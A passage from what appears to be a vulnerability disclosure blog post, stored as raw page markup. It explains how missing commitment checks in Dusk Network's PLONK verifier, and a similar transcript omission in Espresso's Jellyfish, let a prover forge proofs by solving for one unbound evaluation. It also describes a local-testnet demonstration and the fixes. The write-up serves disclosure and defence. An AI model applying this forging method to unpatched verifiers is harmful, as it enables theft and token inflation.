(witness)",{"type":25,"tag":6948,"props":146937,"children":146938},{},[146939,146945,146946,146952,146953,146959],{"type":25,"tag":115,"props":146940,"children":146942},{"className":146941},[],[146943],{"type":31,"value":146944},"s_sigma_1_eval",{"type":31,"value":919},{"type":25,"tag":115,"props":146947,"children":146949},{"className":146948},[],[146950],{"type":31,"value":146951},"s_sigma_2_eval",{"type":31,"value":919},{"type":25,"tag":115,"props":146954,"children":146956},{"className":146955},[],[146957],{"type":31,"value":146958},"s_sigma_3_eval",{"type":31,"value":146960}," (permutation)",{"type":25,"tag":6948,"props":146962,"children":146963},{},[146964,146970,146971,146977,146978,146984],{"type":25,"tag":115,"props":146965,"children":146967},{"className":146966},[],[146968],{"type":31,"value":146969},"a_w_eval",{"type":31,"value":919},{"type":25,"tag":115,"props":146972,"children":146974},{"className":146973},[],[146975],{"type":31,"value":146976},"b_w_eval",{"type":31,"value":919},{"type":25,"tag":115,"props":146979,"children":146981},{"className":146980},[],[146982],{"type":31,"value":146983},"d_w_eval",{"type":31,"value":146985}," (shifted witness)",{"type":25,"tag":6948,"props":146987,"children":146988},{},[146989,146995],{"type":25,"tag":115,"props":146990,"children":146992},{"className":146991},[],[146993],{"type":31,"value":146994},"z_eval",{"type":31,"value":146996}," (permutation accumulator)",{"type":25,"tag":34,"props":146998,"children":146999},{},[147000,147002,147006],{"type":31,"value":147001},"But the following selector evaluations were ",{"type":25,"tag":65,"props":147003,"children":147004},{},[147005],{"type":31,"value":19987},{"type":31,"value":147007}," included:",{"type":25,"tag":18183,"props":147009,"children":147010},{},[147011,147022,147033,147044],{"type":25,"tag":6948,"props":147012,"children":147013},{},[147014,147020],{"type":25,"tag":115,"props":147015,"children":147017},{"className":147016},[],[147018],{"type":31,"value":147019},"q_arith_eval",{"type":31,"value":147021}," (arithmetic selector)",{"type":25,"tag":6948,"props":147023,"children":147024},{},[147025,147031],{"type":25,"tag":115,"props":147026,"children":147028},{"className":147027},[],[147029],{"type":31,"value":147030},"q_c_eval",{"type":31,"value":147032}," (constant selector)",{"type":25,"tag":6948,"props":147034,"children":147035},{},[147036,147042],{"type":25,"tag":115,"props":147037,"children":147039},{"className":147038},[],[147040],{"type":31,"value":147041},"q_l_eval",{"type":31,"value":147043}," (left selector)",{"type":25,"tag":6948,"props":147045,"children":147046},{},[147047,147053],{"type":25,"tag":115,"props":147048,"children":147050},{"className":147049},[],[147051],{"type":31,"value":147052},"q_r_eval",{"type":31,"value":147054}," (right selector)",{"type":25,"tag":34,"props":147056,"children":147057},{},[147058,147060,147067,147068,147075,147076,147083,147084,147091],{"type":31,"value":147059},"The prover places four selector evaluations in the proof struct. The verifier absorbs them into the transcript, and the widget verifier code uses them directly in the linearization check (",{"type":25,"tag":71,"props":147061,"children":147064},{"href":147062,"rel":147063},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/linearization_poly.rs#L33-L83",[75],[147065],{"type":31,"value":147066},"proof struct",{"type":31,"value":919},{"type":25,"tag":71,"props":147069,"children":147072},{"href":147070,"rel":147071},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L255-L286",[75],[147073],{"type":31,"value":147074},"transcript absorption",{"type":31,"value":919},{"type":25,"tag":71,"props":147077,"children":147080},{"href":147078,"rel":147079},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/arithmetic/verifierkey.rs#L92-L118",[75],[147081],{"type":31,"value":147082},"arithmetic widget",{"type":31,"value":919},{"type":25,"tag":71,"props":147085,"children":147088},{"href":147086,"rel":147087},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/ecc/scalar_mul/fixed_base/verifierkey.rs#L46-L102",[75],[147089],{"type":31,"value":147090},"fixed-base ECC widget",{"type":31,"value":147092},"). But they are never checked against the corresponding selector commitments in the verifier key, even though those commitments already exist. The prover sends whatever values it wants and the verifier trusts them.",{"type":25,"tag":34,"props":147094,"children":147095},{},[147096,147098,147102],{"type":31,"value":147097},"The easiest way to see why these four omissions are special is to contrast them with two nearby cases that are ",{"type":25,"tag":65,"props":147099,"children":147100},{},[147101],{"type":31,"value":19987},{"type":31,"value":147103}," bugs:",{"type":25,"tag":18183,"props":147105,"children":147106},{},[147107,147247],{"type":25,"tag":6948,"props":147108,"children":147109},{},[147110,147112,147157,147159,147165,147167,147172,147173,147178,147179,147184,147186,147192,147194,147239,147241,147246],{"type":31,"value":147111},"There is no prover-supplied ",{"type":25,"tag":115,"props":147113,"children":147115},{"className":147114},[5485,5486],[147116],{"type":25,"tag":201,"props":147117,"children":147119},{"className":147118},[5491],[147120],{"type":25,"tag":201,"props":147121,"children":147123},{"className":147122,"ariaHidden":5497},[5496],[147124],{"type":25,"tag":201,"props":147125,"children":147127},{"className":147126},[5502],[147128,147132,147137,147142,147147,147152],{"type":25,"tag":201,"props":147129,"children":147131},{"className":147130,"style":5614},[5507],[],{"type":25,"tag":201,"props":147133,"children":147135},{"className":147134},[5513,23083],[147136],{"type":31,"value":4652},{"type":25,"tag":201,"props":147138,"children":147140},{"className":147139},[23212],[147141],{"type":31,"value":298},{"type":25,"tag":201,"props":147143,"children":147145},{"className":147144,"style":114688},[5513,23083],[147146],{"type":31,"value":114691},{"type":25,"tag":201,"props":147148,"children":147150},{"className":147149,"style":94617},[5513,23083],[147151],{"type":31,"value":145821},{"type":25,"tag":201,"props":147153,"children":147155},{"className":147154},[23234],[147156],{"type":31,"value":3073},{"type":31,"value":147158}," field at all. ",{"type":25,"tag":115,"props":147160,"children":147162},{"className":147161},[],[147163],{"type":31,"value":147164},"ProofEvaluations",{"type":31,"value":147166}," contains ",{"type":25,"tag":115,"props":147168,"children":147170},{"className":147169},[],[147171],{"type":31,"value":146969},{"type":31,"value":919},{"type":25,"tag":115,"props":147174,"children":147176},{"className":147175},[],[147177],{"type":31,"value":146976},{"type":31,"value":7996},{"type":25,"tag":115,"props":147180,"children":147182},{"className":147181},[],[147183],{"type":31,"value":146983},{"type":31,"value":147185},", but no ",{"type":25,"tag":115,"props":147187,"children":147189},{"className":147188},[],[147190],{"type":31,"value":147191},"c_w_eval",{"type":31,"value":147193},", so the verifier never consumes an unbound ",{"type":25,"tag":115,"props":147195,"children":147197},{"className":147196},[5485,5486],[147198],{"type":25,"tag":201,"props":147199,"children":147201},{"className":147200},[5491],[147202],{"type":25,"tag":201,"props":147203,"children":147205},{"className":147204,"ariaHidden":5497},[5496],[147206],{"type":25,"tag":201,"props":147207,"children":147209},{"className":147208},[5502],[147210,147214,147219,147224,147229,147234],{"type":25,"tag":201,"props":147211,"children":147213},{"className":147212,"style":5614},[5507],[],{"type":25,"tag":201,"props":147215,"children":147217},{"className":147216},[5513,23083],[147218],{"type":31,"value":4652},{"type":25,"tag":201,"props":147220,"children":147222},{"className":147221},[23212],[147223],{"type":31,"value":298},{"type":25,"tag":201,"props":147225,"children":147227},{"className":147226,"style":114688},[5513,23083],[147228],{"type":31,"value":114691},{"type":25,"tag":201,"props":147230,"children":147232},{"className":147231,"style":94617},[5513,23083],[147233],{"type":31,"value":145821},{"type":25,"tag":201,"props":147235,"children":147237},{"className":147236},[23234],[147238],{"type":31,"value":3073},{"type":31,"value":147240}," claim (",{"type":25,"tag":71,"props":147242,"children":147244},{"href":147062,"rel":147243},[75],[147245],{"type":31,"value":147066},{"type":31,"value":3953},{"type":25,"tag":6948,"props":147248,"children":147249},{},[147250,147252,147339,147341,147433,147434,147441],{"type":31,"value":147251},"There is a fourth permutation commitment ",{"type":25,"tag":115,"props":147253,"children":147255},{"className":147254},[5485,5486],[147256],{"type":25,"tag":201,"props":147257,"children":147259},{"className":147258},[5491],[147260],{"type":25,"tag":201,"props":147261,"children":147263},{"className":147262,"ariaHidden":5497},[5496],[147264],{"type":25,"tag":201,"props":147265,"children":147267},{"className":147266},[5502],[147268,147272,147277,147334],{"type":25,"tag":201,"props":147269,"children":147271},{"className":147270,"style":5614},[5507],[],{"type":25,"tag":201,"props":147273,"children":147275},{"className":147274},[23212],[147276],{"type":31,"value":423},{"type":25,"tag":201,"props":147278,"children":147280},{"className":147279},[5513],[147281,147286],{"type":25,"tag":201,"props":147282,"children":147284},{"className":147283,"style":94617},[5513,23083],[147285],{"type":31,"value":145716},{"type":25,"tag":201,"props":147287,"children":147289},{"className":147288},[5529],[147290],{"type":25,"tag":201,"props":147291,"children":147293},{"className":147292},[5534,23137],[147294,147323],{"type":25,"tag":201,"props":147295,"children":147297},{"className":147296},[5539],[147298,147318],{"type":25,"tag":201,"props":147299,"children":147301},{"className":147300,"style":94183},[5544],[147302],{"type":25,"tag":201,"props":147303,"children":147304},{"style":94664},[147305,147309],{"type":25,"tag":201,"props":147306,"children":147308},{"className":147307,"style":5554},[5553],[],{"type":25,"tag":201,"props":147310,"children":147312},{"className":147311},[5559,5560,5561,5562],[147313],{"type":25,"tag":201,"props":147314,"children":147316},{"className":147315},[5513,5562],[147317],{"type":31,"value":19025},{"type":25,"tag":201,"props":147319,"children":147321},{"className":147320},[23240],[147322],{"type":31,"value":23243},{"type":25,"tag":201,"props":147324,"children":147326},{"className":147325},[5539],[147327],{"type":25,"tag":201,"props":147328,"children":147330},{"className":147329,"style":94214},[5544],[147331],{"type":25,"tag":201,"props":147332,"children":147333},{},[],{"type":25,"tag":201,"props":147335,"children":147337},{"className":147336},[23234],[147338],{"type":31,"value":16907},{"type":31,"value":147340}," in the verifier key, but the verifier uses the commitment itself inside the linearization MSM rather than trusting a prover-supplied scalar ",{"type":25,"tag":115,"props":147342,"children":147344},{"className":147343},[5485,5486],[147345],{"type":25,"tag":201,"props":147346,"children":147348},{"className":147347},[5491],[147349],{"type":25,"tag":201,"props":147350,"children":147352},{"className":147351,"ariaHidden":5497},[5496],[147353],{"type":25,"tag":201,"props":147354,"children":147356},{"className":147355},[5502],[147357,147361,147418,147423,147428],{"type":25,"tag":201,"props":147358,"children":147360},{"className":147359,"style":5614},[5507],[],{"type":25,"tag":201,"props":147362,"children":147364},{"className":147363},[5513],[147365,147370],{"type":25,"tag":201,"props":147366,"children":147368},{"className":147367,"style":94617},[5513,23083],[147369],{"type":31,"value":145716},{"type":25,"tag":201,"props":147371,"children":147373},{"className":147372},[5529],[147374],{"type":25,"tag":201,"props":147375,"children":147377},{"className":147376},[5534,23137],[147378,147407],{"type":25,"tag":201,"props":147379,"children":147381},{"className":147380},[5539],[147382,147402],{"type":25,"tag":201,"props":147383,"children":147385},{"className":147384,"style":94183},[5544],[147386],{"type":25,"tag":201,"props":147387,"children":147388},{"style":94664},[147389,147393],{"type":25,"tag":201,"props":147390,"children":147392},{"className":147391,"style":5554},[5553],[],{"type":25,"tag":201,"props":147394,"children":147396},{"className":147395},[5559,5560,5561,5562],[147397],{"type":25,"tag":201,"props":147398,"children":147400},{"className":147399},[5513,5562],[147401],{"type":31,"value":19025},{"type":25,"tag":201,"props":147403,"children":147405},{"className":147404},[23240],[147406],{"type":31,"value":23243},{"type":25,"tag":201,"props":147408,"children":147410},{"className":147409},[5539],[147411],{"type":25,"tag":201,"props":147412,"children":147414},{"className":147413,"style":94214},[5544],[147415],{"type":25,"tag":201,"props":147416,"children":147417},{},[],{"type":25,"tag":201,"props":147419,"children":147421},{"className":147420},[23212],[147422],{"type":31,"value":298},{"type":25,"tag":201,"props":147424,"children":147426},{"className":147425,"style":114688},[5513,23083],[147427],{"type":31,"value":114691},{"type":25,"tag":201,"props":147429,"children":147431},{"className":147430},[23234],[147432],{"type":31,"value":3073},{"type":31,"value":238},{"type":25,"tag":71,"props":147435,"children":147438},{"href":147436,"rel":147437},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/permutation/verifierkey.rs#L24-L104",[75],[147439],{"type":31,"value":147440},"permutation verifier key",{"type":31,"value":3953},{"type":25,"tag":34,"props":147443,"children":147444},{},[147445,147447,147457],{"type":31,"value":147446},"The four selector evaluations fit neither of these safe patterns: they are prover-supplied scalars, they are used directly by verifier code, and they never appear in ",{"type":25,"tag":71,"props":147448,"children":147451},{"href":147449,"rel":147450},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L361-L373",[75],[147452],{"type":25,"tag":115,"props":147453,"children":147455},{"className":147454},[],[147456],{"type":31,"value":146898},{"type":31,"value":147458},", which leaves the master equation underconstrained.",{"type":25,"tag":34,"props":147460,"children":147461},{},[147462],{"type":25,"tag":127,"props":147463,"children":147466},{"alt":147464,"src":147465},"structural_trust_boundary","/posts/dusk-commitment-issues/structural_trust_boundary.svg",[],{"type":25,"tag":20292,"props":147468,"children":147469},{},[],{"type":25,"tag":26,"props":147471,"children":147473},{"id":147472},"the-exploitation",[147474],{"type":31,"value":147475},"The exploitation",{"type":25,"tag":34,"props":147477,"children":147478},{},[147479],{"type":31,"value":147480},"Since the selector evaluations are free variables, the verification equation becomes a linear equation the prover can solve after the fact.",{"type":25,"tag":34,"props":147482,"children":147483},{},[147484,147486,147492,147494,147499,147501,147506,147508,147514],{"type":31,"value":147485},"The prover commits to arbitrary witness polynomials, without needing a valid witness, and arbitrary quotient polynomials, where small random linear polynomials suffice. It follows the honest protocol through all commitment rounds, deriving the same challenges the verifier will. After seeing ",{"type":25,"tag":115,"props":147487,"children":147489},{"className":147488},[],[147490],{"type":31,"value":147491},"z_challenge",{"type":31,"value":147493},", it computes what the linearization polynomial ",{"type":25,"tag":65,"props":147495,"children":147496},{},[147497],{"type":31,"value":147498},"should",{"type":31,"value":147500}," evaluate to for the pairing check to pass, then solves for ",{"type":25,"tag":115,"props":147502,"children":147504},{"className":147503},[],[147505],{"type":31,"value":147019},{"type":31,"value":147507},", the single free variable that makes the verification equation balance (setting ",{"type":25,"tag":115,"props":147509,"children":147511},{"className":147510},[],[147512],{"type":31,"value":147513},"q_c_eval = q_l_eval = q_r_eval = 0",{"type":31,"value":3953},{"type":25,"tag":34,"props":147516,"children":147517},{},[147518],{"type":25,"tag":127,"props":147519,"children":147522},{"alt":147520,"src":147521},"exploit_algebra","/posts/dusk-commitment-issues/exploit_algebra.svg",[],{"type":25,"tag":34,"props":147524,"children":147525},{},[147526,147528,147568,147570,147595,147597,147602],{"type":31,"value":147527},"To achieve this one may compute the linearization polynomial ",{"type":25,"tag":115,"props":147529,"children":147531},{"className":147530},[5485,5486],[147532],{"type":25,"tag":201,"props":147533,"children":147535},{"className":147534},[5491],[147536],{"type":25,"tag":201,"props":147537,"children":147539},{"className":147538,"ariaHidden":5497},[5496],[147540],{"type":25,"tag":201,"props":147541,"children":147543},{"className":147542},[5502],[147544,147548,147553,147558,147563],{"type":25,"tag":201,"props":147545,"children":147547},{"className":147546,"style":5614},[5507],[],{"type":25,"tag":201,"props":147549,"children":147551},{"className":147550,"style":94131},[5513,23083],[147552],{"type":31,"value":94950},{"type":25,"tag":201,"props":147554,"children":147556},{"className":147555},[23212],[147557],{"type":31,"value":298},{"type":25,"tag":201,"props":147559,"children":147561},{"className":147560},[5513,23083],[147562],{"type":31,"value":1606},{"type":25,"tag":201,"props":147564,"children":147566},{"className":147565},[23234],[147567],{"type":31,"value":3073},{"type":31,"value":147569}," with all selectors set to zero, evaluating it at ",{"type":25,"tag":115,"props":147571,"children":147573},{"className":147572},[5485,5486],[147574],{"type":25,"tag":201,"props":147575,"children":147577},{"className":147576},[5491],[147578],{"type":25,"tag":201,"props":147579,"children":147581},{"className":147580,"ariaHidden":5497},[5496],[147582],{"type":25,"tag":201,"props":147583,"children":147585},{"className":147584},[5502],[147586,147590],{"type":25,"tag":201,"props":147587,"children":147589},{"className":147588,"style":111972},[5507],[],{"type":25,"tag":201,"props":147591,"children":147593},{"className":147592,"style":114688},[5513,23083],[147594],{"type":31,"value":114691},{"type":31,"value":147596},", and comparing to the target value; the difference divided by the coefficient of ",{"type":25,"tag":115,"props":147598,"children":147600},{"className":147599},[],[147601],{"type":31,"value":147019},{"type":31,"value":147603}," gives the required value in a single field division.",{"type":25,"tag":20292,"props":147605,"children":147606},{},[],{"type":25,"tag":26,"props":147608,"children":147610},{"id":147609},"impact-on-dusk-network",[147611],{"type":31,"value":147612},"Impact on Dusk Network",{"type":25,"tag":34,"props":147614,"children":147615},{},[147616,147618,147625],{"type":31,"value":147617},"PLONK is the sole gatekeeper for Phoenix-specific correctness claims: note membership, ownership, note commitments, sender-authorship, and balance integrity are encoded entirely in the circuit. Rusk does check other preconditions such as nullifier uniqueness before it verifies the proof (",{"type":25,"tag":71,"props":147619,"children":147622},{"href":147620,"rel":147621},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L153-L184",[75],[147623],{"type":31,"value":147624},"preverify path",{"type":31,"value":147626},"), but for the claims inside the proof there is no secondary validation path. With forged proofs, an attacker could:",{"type":25,"tag":6944,"props":147628,"children":147629},{},[147630,147635,147640],{"type":25,"tag":6948,"props":147631,"children":147632},{},[147633],{"type":31,"value":147634},"Inflate the token supply by fabricating input notes that do not exist in the note tree, with arbitrary values. The forged proof convinces the network these notes are real, and the attacker mints DUSK out of nothing, ready to transfer to honest users or exchanges.",{"type":25,"tag":6948,"props":147636,"children":147637},{},[147638],{"type":31,"value":147639},"Forge spends that bypass the ownership, membership, and balance checks that normally make a Phoenix input note valid.",{"type":25,"tag":6948,"props":147641,"children":147642},{},[147643],{"type":31,"value":147644},"Move forged shielded funds through honest wallets, because once a forged Phoenix transaction is accepted, the resulting shielded outputs are not distinguishable from legitimate Phoenix outputs at the protocol level.",{"type":25,"tag":34,"props":147646,"children":147647},{},[147648],{"type":31,"value":147649},"We demonstrated this with a full end-to-end proof-of-concept on a local Dusk testnet:",{"type":25,"tag":6944,"props":147651,"children":147652},{},[147653,147658,147668,147680,147685],{"type":25,"tag":6948,"props":147654,"children":147655},{},[147656],{"type":31,"value":147657},"Set up a single honest Rusk node and create two wallets (honest and malicious), both with balance 0",{"type":25,"tag":6948,"props":147659,"children":147660},{},[147661,147663],{"type":31,"value":147662},"The malicious wallet forges a PLONK proof to create ",{"type":25,"tag":1252,"props":147664,"children":147665},{},[147666],{"type":31,"value":147667},"2000 DUSK from nothing",{"type":25,"tag":6948,"props":147669,"children":147670},{},[147671,147673,147678],{"type":31,"value":147672},"The malicious wallet transfers ",{"type":25,"tag":1252,"props":147674,"children":147675},{},[147676],{"type":31,"value":147677},"1337 DUSK",{"type":31,"value":147679}," to the honest wallet using a normal (honestly-proved) transaction",{"type":25,"tag":6948,"props":147681,"children":147682},{},[147683],{"type":31,"value":147684},"The honest node validates both transactions and mines them into blocks",{"type":25,"tag":6948,"props":147686,"children":147687},{},[147688],{"type":31,"value":147689},"The honest wallet shows a confirmed balance of 1337 DUSK",{"type":25,"tag":34,"props":147691,"children":147692},{},[147693],{"type":25,"tag":127,"props":147694,"children":147697},{"alt":147695,"src":147696},"end_to_end","/posts/dusk-commitment-issues/end_to_end.svg",[],{"type":25,"tag":34,"props":147699,"children":147700},{},[147701,147703,147709,147711,147718],{"type":31,"value":147702},"At the time of discovery, DUSK's market cap was roughly ",{"type":25,"tag":71,"props":147704,"children":147706},{"href":143004,"rel":147705},[75],[147707],{"type":31,"value":147708},"~60M",{"type":31,"value":147710},". The entire shielded transaction layer was at risk. Because Phoenix is privacy-preserving, forged outputs accepted into the shielded pool would have been difficult to distinguish after the fact, similar to Neptune Cash with the ",{"type":25,"tag":71,"props":147712,"children":147715},{"href":147713,"rel":147714},"https://neptune.cash/articles/critical-vulnerability-disclosure",[75],[147716],{"type":31,"value":147717},"Triton VM vulnerability",{"type":31,"value":80},{"type":25,"tag":20292,"props":147720,"children":147721},{},[],{"type":25,"tag":26,"props":147723,"children":147725},{"id":147724},"the-fix",[147726],{"type":31,"value":147727},"The fix",{"type":25,"tag":34,"props":147729,"children":147730},{},[147731],{"type":31,"value":147732},"The fix adds the four selector evaluations to the KZG batch opening check, so they are verified against the selector commitments already present in the verifier key:",{"type":25,"tag":18183,"props":147734,"children":147735},{},[147736,147781],{"type":25,"tag":6948,"props":147737,"children":147738},{},[147739,147741,147752,147754,147760,147761,147767,147768,147774,147775],{"type":31,"value":147740},"Extend ",{"type":25,"tag":71,"props":147742,"children":147745},{"href":147743,"rel":147744},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/compiler/prover.rs#L509",[75],[147746],{"type":25,"tag":115,"props":147747,"children":147749},{"className":147748},[],[147750],{"type":31,"value":147751},"compute_aggregate_witness",{"type":31,"value":147753}," on the prover side to also include ",{"type":25,"tag":115,"props":147755,"children":147757},{"className":147756},[],[147758],{"type":31,"value":147759},"q_arith",{"type":31,"value":919},{"type":25,"tag":115,"props":147762,"children":147764},{"className":147763},[],[147765],{"type":31,"value":147766},"q_c",{"type":31,"value":919},{"type":25,"tag":115,"props":147769,"children":147771},{"className":147770},[],[147772],{"type":31,"value":147773},"q_l",{"type":31,"value":7996},{"type":25,"tag":115,"props":147776,"children":147778},{"className":147777},[],[147779],{"type":31,"value":147780},"q_r",{"type":25,"tag":6948,"props":147782,"children":147783},{},[147784,147786,147796],{"type":31,"value":147785},"Add their evaluations to ",{"type":25,"tag":71,"props":147787,"children":147790},{"href":147788,"rel":147789},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362",[75],[147791],{"type":25,"tag":115,"props":147792,"children":147794},{"className":147793},[],[147795],{"type":31,"value":146898},{"type":31,"value":147797}," on the verifier side, so they're checked against the commitments in the verifier key",{"type":25,"tag":34,"props":147799,"children":147800},{},[147801,147803,147810],{"type":31,"value":147802},"This was done in ",{"type":25,"tag":71,"props":147804,"children":147807},{"href":147805,"rel":147806},"https://github.com/dusk-network/plonk/commit/645265b748d2698bcb403b794fc2d58340b340f1",[75],[147808],{"type":31,"value":147809},"commit 645265b7",{"type":31,"value":147811},", which landed on February 14, 2026.",{"type":25,"tag":20292,"props":147813,"children":147814},{},[],{"type":25,"tag":26,"props":147816,"children":147818},{"id":147817},"why-was-this-missed",[147819],{"type":31,"value":147820},"Why was this missed?",{"type":25,"tag":34,"props":147822,"children":147823},{},[147824,147826,147833,147834,147841,147843,147850,147852,147859],{"type":31,"value":147825},"Dusk's stack had been heavily audited: a ",{"type":25,"tag":71,"props":147827,"children":147830},{"href":147828,"rel":147829},"https://github.com/dusk-network/audits/blob/main/core-audits/2023-12_plonk-audit-report_porter-adams.pdf",[75],[147831],{"type":31,"value":147832},"December 2023 audit of dusk-plonk",{"type":31,"value":125474},{"type":25,"tag":71,"props":147835,"children":147838},{"href":147836,"rel":147837},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_phoenix-audit-report_jules-de-smit.pdf",[75],[147839],{"type":31,"value":147840},"September 2024 audit of Phoenix",{"type":31,"value":147842},", and a ",{"type":25,"tag":71,"props":147844,"children":147847},{"href":147845,"rel":147846},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_rusk-node-library_oak-security.pdf",[75],[147848],{"type":31,"value":147849},"September 2024 Oak Security audit of the Rusk node library",{"type":31,"value":147851},". Dusk's public ",{"type":25,"tag":71,"props":147853,"children":147856},{"href":147854,"rel":147855},"https://dusk.network/news/audits-overview",[75],[147857],{"type":31,"value":147858},"audits overview",{"type":31,"value":147860}," summarizes the broader audit program. The bug still went unnoticed because it hides behind a very easy mental-model mistake.",{"type":25,"tag":34,"props":147862,"children":147863},{},[147864,147866,147871],{"type":31,"value":147865},"At the polynomial level, selectors are public circuit descriptions. A reviewer who keeps that standard PLONK model in mind will naturally think \"selectors are verifier-side\" and move on, overlooking the architectural deviation where Dusk's verifier started consuming prover-supplied selector ",{"type":25,"tag":65,"props":147867,"children":147868},{},[147869],{"type":31,"value":147870},"evaluations",{"type":31,"value":80},{"type":25,"tag":34,"props":147873,"children":147874},{},[147875],{"type":31,"value":147876},"This was a pure proof-system bug, not a Phoenix-circuit bug; the circuit constraints themselves were correctly written. The failure occurred entirely because the verifier accepted proof fields that bypassed the fundamental invariant established earlier: they were neither locally computed nor cryptographically bound to an opening proof.",{"type":25,"tag":34,"props":147878,"children":147879},{},[147880],{"type":31,"value":147881},"The check for this class of bug is mechanical: enumerate every field in the proof's evaluation struct and verify that each one either appears in the opening proof batch or is computed locally by the verifier.",{"type":25,"tag":26,"props":147883,"children":147885},{"id":147884},"a-similar-bug-in-espresso-systems-jellyfish",[147886],{"type":31,"value":147887},"A similar bug in Espresso Systems' Jellyfish",{"type":25,"tag":34,"props":147889,"children":147890},{},[147891,147893,147900],{"type":31,"value":147892},"While investigating PLONK implementations, we found a similar vulnerability in ",{"type":25,"tag":71,"props":147894,"children":147897},{"href":147895,"rel":147896},"https://github.com/EspressoSystems/jellyfish/",[75],[147898],{"type":31,"value":147899},"jf-plonk",{"type":31,"value":147901}," by Espresso Systems. The exact mechanism is different, but the exploitation also boils down to variables that are used in the final check not being cryptographically bound.",{"type":25,"tag":34,"props":147903,"children":147904},{},[147905,147907,147914,147916,147927,147929,147954,147956,147981],{"type":31,"value":147906},"Jellyfish implements UltraPlonk, which extends standard PLONK with ",{"type":25,"tag":71,"props":147908,"children":147911},{"href":147909,"rel":147910},"https://eprint.iacr.org/2020/315",[75],[147912],{"type":31,"value":147913},"Plookup",{"type":31,"value":147915}," lookup arguments. Plookup adds 15 polynomial evaluations to the proof. The function ",{"type":25,"tag":71,"props":147917,"children":147920},{"href":147918,"rel":147919},"https://github.com/EspressoSystems/jellyfish/blob/83e62ed43140d251f8a972033fdd9ddb717c66d7/plonk/src/transcript/mod.rs#L156-L166",[75],[147921],{"type":25,"tag":115,"props":147922,"children":147924},{"className":147923},[],[147925],{"type":31,"value":147926},"append_plookup_evaluations",{"type":31,"value":147928}," was supposed to add all 15 to the Fiat-Shamir transcript before the batching challenge ",{"type":25,"tag":115,"props":147930,"children":147932},{"className":147931},[5485,5486],[147933],{"type":25,"tag":201,"props":147934,"children":147936},{"className":147935},[5491],[147937],{"type":25,"tag":201,"props":147938,"children":147940},{"className":147939,"ariaHidden":5497},[5496],[147941],{"type":25,"tag":201,"props":147942,"children":147944},{"className":147943},[5502],[147945,147949],{"type":25,"tag":201,"props":147946,"children":147948},{"className":147947,"style":111972},[5507],[],{"type":25,"tag":201,"props":147950,"children":147952},{"className":147951,"style":94617},[5513,23083],[147953],{"type":31,"value":115035},{"type":31,"value":147955}," is derived. Instead, it only added 6 of the 15, and the remaining 9 evaluations are used in the batched verification check but don't influence ",{"type":25,"tag":115,"props":147957,"children":147959},{"className":147958},[5485,5486],[147960],{"type":25,"tag":201,"props":147961,"children":147963},{"className":147962},[5491],[147964],{"type":25,"tag":201,"props":147965,"children":147967},{"className":147966,"ariaHidden":5497},[5496],[147968],{"type":25,"tag":201,"props":147969,"children":147971},{"className":147970},[5502],[147972,147976],{"type":25,"tag":201,"props":147973,"children":147975},{"className":147974,"style":111972},[5507],[],{"type":25,"tag":201,"props":147977,"children":147979},{"className":147978,"style":94617},[5513,23083],[147980],{"type":31,"value":115035},{"type":31,"value":147982},", so the prover can adjust them after the fact to make the check pass.",{"type":25,"tag":34,"props":147984,"children":147985},{},[147986,147988,147994,147996,148002],{"type":31,"value":147987},"The attack requires modifying a single evaluation (",{"type":25,"tag":115,"props":147989,"children":147991},{"className":147990},[],[147992],{"type":31,"value":147993},"key_table_next_eval",{"type":31,"value":147995},") by ",{"type":25,"tag":115,"props":147997,"children":147999},{"className":147998},[],[148000],{"type":31,"value":148001},"delta / (u * v^3)",{"type":31,"value":148003}," to close the gap between the true and expected batched evaluation, which, like the Dusk exploit, reduces to a single field division.",{"type":25,"tag":34,"props":148005,"children":148006},{},[148007,148009,148016,148018,148029],{"type":31,"value":148008},"To our knowledge, Jellyfish's UltraPlonk mode is not currently deployed in production. ",{"type":25,"tag":71,"props":148010,"children":148013},{"href":148011,"rel":148012},"https://github.com/EspressoSystems/jellyfish/pull/867",[75],[148014],{"type":31,"value":148015},"PR #867",{"type":31,"value":148017}," fixed the issue and was tagged as ",{"type":25,"tag":71,"props":148019,"children":148022},{"href":148020,"rel":148021},"https://github.com/EspressoSystems/jellyfish/tree/jf-plonk-v0.8.0",[75],[148023],{"type":25,"tag":115,"props":148024,"children":148026},{"className":148025},[],[148027],{"type":31,"value":148028},"jf-plonk-v0.8.0",{"type":31,"value":148030}," on March 18, 2026.",{"type":25,"tag":20292,"props":148032,"children":148033},{},[],{"type":25,"tag":26,"props":148035,"children":148037},{"id":148036},"toward-standardization",[148038],{"type":31,"value":148039},"Toward standardization",{"type":25,"tag":34,"props":148041,"children":148042},{},[148043,148045,148052],{"type":31,"value":148044},"The fact that two independent PLONK implementations contain the same class of bug, and that ",{"type":25,"tag":71,"props":148046,"children":148049},{"href":148047,"rel":148048},"https://osec.io/blog/2026-03-03-zkvms-unfaithful-claims/",[75],[148050],{"type":31,"value":148051},"similar patterns appear across zkVMs",{"type":31,"value":148053},", suggests this isn't a problem that individual audits alone can solve. The check described above (diff \"evaluations used\" against \"evaluations bound\") is mechanical and could be built into development tooling, CI pipelines, or standardized PLONK verification specifications.",{"type":25,"tag":34,"props":148055,"children":148056},{},[148057],{"type":31,"value":148058},"We're in early discussions with the Dusk team and other stakeholders about what a PLONK standardization effort could look like: a curve-agnostic, backend-agnostic specification of the verification protocol that makes invariants like evaluation binding explicit and checkable.",{"type":25,"tag":34,"props":148060,"children":148061},{},[148062],{"type":31,"value":148063},"The status quo, where each team implements their own PLONK variant from the paper and hopes the auditor catches what they missed, is fragile. A shared, well-reviewed verification spec would 